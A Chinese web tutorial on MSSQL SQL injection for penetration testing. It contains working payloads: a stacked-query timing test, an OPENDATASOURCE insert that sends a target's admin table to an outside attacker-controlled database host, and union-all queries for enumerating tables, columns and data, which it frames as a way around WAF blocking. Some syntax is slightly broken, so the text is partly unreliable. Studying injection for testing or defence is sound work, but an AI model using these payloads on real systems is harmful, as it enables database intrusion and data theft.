MSSQL反弹注入详解

 更新时间:2025年02月13日 10:57:03   作者:Y22Lee  
文章主要介绍了MSSQL(微软的SQL Server数据库服务器)与MYSQL(MSSQL的简化版)的区别,以及MSSQL注入的基本原理和步骤,包括反弹注入和联合查询注入,感兴趣的朋友一起看看吧

1.什么是MSSQL

MS SQL实际上是指微软的SQL Server数据库服务器,MYSQL可以说是MSSQL的简化版。MYSQL数据库一般专用于PHP网站,适合小,中型网站,而且还是开源的。 MSSQL目前大型网站使用,一般是商务网站使用,因为是微软开发的,所以要收费,而且要贵一些!
MSSQL与MYSQL的基本语法区别:(只针对渗透测试常用的语法)

MYSQL:
1.使用‘;'来作为语句的结尾
2.使用‘\'进行转义
3.系统自带库:
mysql、information_schema、performance_schema、sys
4.查询当前数据库名称:database()
5.查看表名:tables
MSSQL:
1.‘;'是可选的,可写可不写,但是MSSQL中提供了go关键词作为批处理语句的结尾
2.在SQL Server中则不需要转义,有歧义的时候只需使用引号即可
3.系统自带库:
Master、Model、Msdb、Tempdb
4.查询当前数据库名称:db_name()
5.查看表名:sysobjects

2.原理

让目标把得到的信息插入到渗透测试人员的数据库中

3.MSSQL注入的条件

a.目标要能访问外网
b.被插入的数据库要能用公网IP连接

4.注入步骤

a.反弹注入

--1.搭建MSSQL环境
/*自己搭建一个MSSQL环境是不现实的,首先你得有公网IP,有了公网IP才能将查询到的数据插入
到我们的数据库中。这里可以免费申请一个虚拟空间来帮我们搭建MSSQL环境,
比如:Alwaysdata,ProFreeHost,香港云等等。*/
--2.连接公网数据库
--使用Navicat数据库管理工具连接,连接名任意,主机为本机地址
--3.判断是否存在堆叠注入
;select name from sysobjects waitfor delay ‘00:00:05:00'//如果网站发生延迟,说明存在
--4.在连接的数据库中创建一个新表用于存放数据
--5.反弹注入
--用opendatasource函数进行反弹注入。
OPENDATASOURCE(provider_name,init_string)
/*provider_name为用于访问数据源的OLE DB 提供程序的PROGID的名称
init_string为连接地址、端口、用户名、密码、数据库名
server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称*/
--例如:
insert into opendatasource(‘sqloledb','server=den1.mssql8.gear.host,1433;uid=0;pwd=0;database=admin').admin.dbo.LYP select *from admin — qwe
/*insert into代表语句属性,是插入语句
opendatasource(‘sqloledb','server=den1.mssql8.gear.host,1433;uid=0;pwd=0;database=admin').admin.dbo.LYP表示将查询到的内容插入到什么地方
select *from admin表示要查与数据的内容
*/

b.MSSQL联合查询注入
<1.用常规SQL注入查字段数
<2.判断显错位
由于MSSQL语法比MYSQL严格些,所以不能直接全填数字来寻找显错位,MYSQL中union只需要满足字段数相同即可,但是MSSQL中如果你的填充位与数据库字段类型不匹配是没有数据显示的!而且MSSQL的联合查询最好使用union all!不知道是什么类型时可以填‘null’

'union all select  'null','null','null' --s1

然后用数字逐个替换null判断类型
到了这一步差不多可以猜出是MSSQL数据库,那么接下来的步骤就不能按照SQL注入的语法继续查数据了
< 3.查表名
利用MSSQL自带表获取用户自建表

'union all select id,name,'null' from sysobjects where xtype='U' --s2

<4.查字段名

'union all select 'null',name,'null' from dbo.syscolumns where id=··· ··· --s3

<5.查字段内容

'union all select 字段名,字段名,字段名 from 表名 --q

5.补充

反弹注入是用来解决盲注,WAF拦截,访问过快被封
堆叠注入:
a.原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
b.局限性
<1.堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制;
<2.堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的;
< 3. 在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

到此这篇关于MSSQL反弹注入的文章就介绍到这了,更多相关MSSQL反弹注入内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • Sql根据不同条件统计总数的方法(count和sum)

    Sql根据不同条件统计总数的方法(count和sum)

    经常会遇到根据不同的条件统计总数的问题,一般有两种写法:count和sum都可以,下面通过实例代码给大家分享Sql根据不同条件统计总数,感兴趣的朋友一起看看吧
    2024-08-08
  • SQL日志文件太大的处理办法小结

    SQL日志文件太大的处理办法小结

    本文主要介绍了SQL日志文件太大的处理办法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2025-04-04
  • sql语句LEFT JOIN拼接表详解

    sql语句LEFT JOIN拼接表详解

    这篇文章主要介绍了sql语句LEFT JOIN拼接表详解,需要的朋友可以参考下
    2023-05-05
  • sql中mod()函数取余数的用法

    sql中mod()函数取余数的用法

    Mod(a,b) 在sql中的意思是a/b的余数,本文详细的介绍了sql中mod()函数取余数的用法,感兴趣的小伙伴们可以参考一下
    2021-05-05
  • SQL CTE (Common Table Expression) 高级用法与最佳实践

    SQL CTE (Common Table Expression) 高级用法与最佳实践

    CTE(Common Table Expression,公用表表达式)是SQL中的"命名临时结果集",通过 WITH 关键字定义,仅在当前查询中生效,本文给大家介绍SQL CTE (Common Table Expression) 高级用法与最佳实践,感兴趣的朋友跟随小编一起看看吧
    2025-10-10
  • 浅谈为什么#{}可以防止SQL注入

    浅谈为什么#{}可以防止SQL注入

    本文主要介绍了浅谈为什么#{}可以防止SQL注入,#{} 匹配的是一个占位符,会对一些敏感字符进行过滤,编译过后会对传递的值加上双引号,因此可以防止 SQL 注入问题,感兴趣的可以来了解一下
    2022-05-05
  • sqlserver附加.mdf权限问题解决

    sqlserver附加.mdf权限问题解决

    sqlserver附加.mdf权限问题解决,需要的朋友可以参考一下
    2013-03-03
  • SQL Server 数据库索引其索引的小技巧

    SQL Server 数据库索引其索引的小技巧

    关于索引的常识:影响到数据库性能的最大因素就是索引。由于该问题的复杂性,我只可能简单的谈谈这个问题,不过关于这方面的问题,目前有好几本不错的书籍可供你参阅。我在这里只讨论两种SQL Server索引,即clustered索引和nonclustered索引
    2012-06-06
  • 使用SQL实现车流量的计算的示例代码

    使用SQL实现车流量的计算的示例代码

    本文主要介绍了使用SQL实现车流量的计算的示例代码,文中通过示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2022-02-02
  • 浅谈tempdb在SqlServer系统中的重要作用

    浅谈tempdb在SqlServer系统中的重要作用

    tempdb是SQLServer的系统数据库一直都是SQLServer的重要组成部分,用来存储临时对象。tempdb中的任何数据在系统重新启动之后都不会持久存在。因为实际上每次SQLServer启动的时候都会重新创建tempdb。这个特性就说明tempdb不需要恢复。
    2014-08-08

最新评论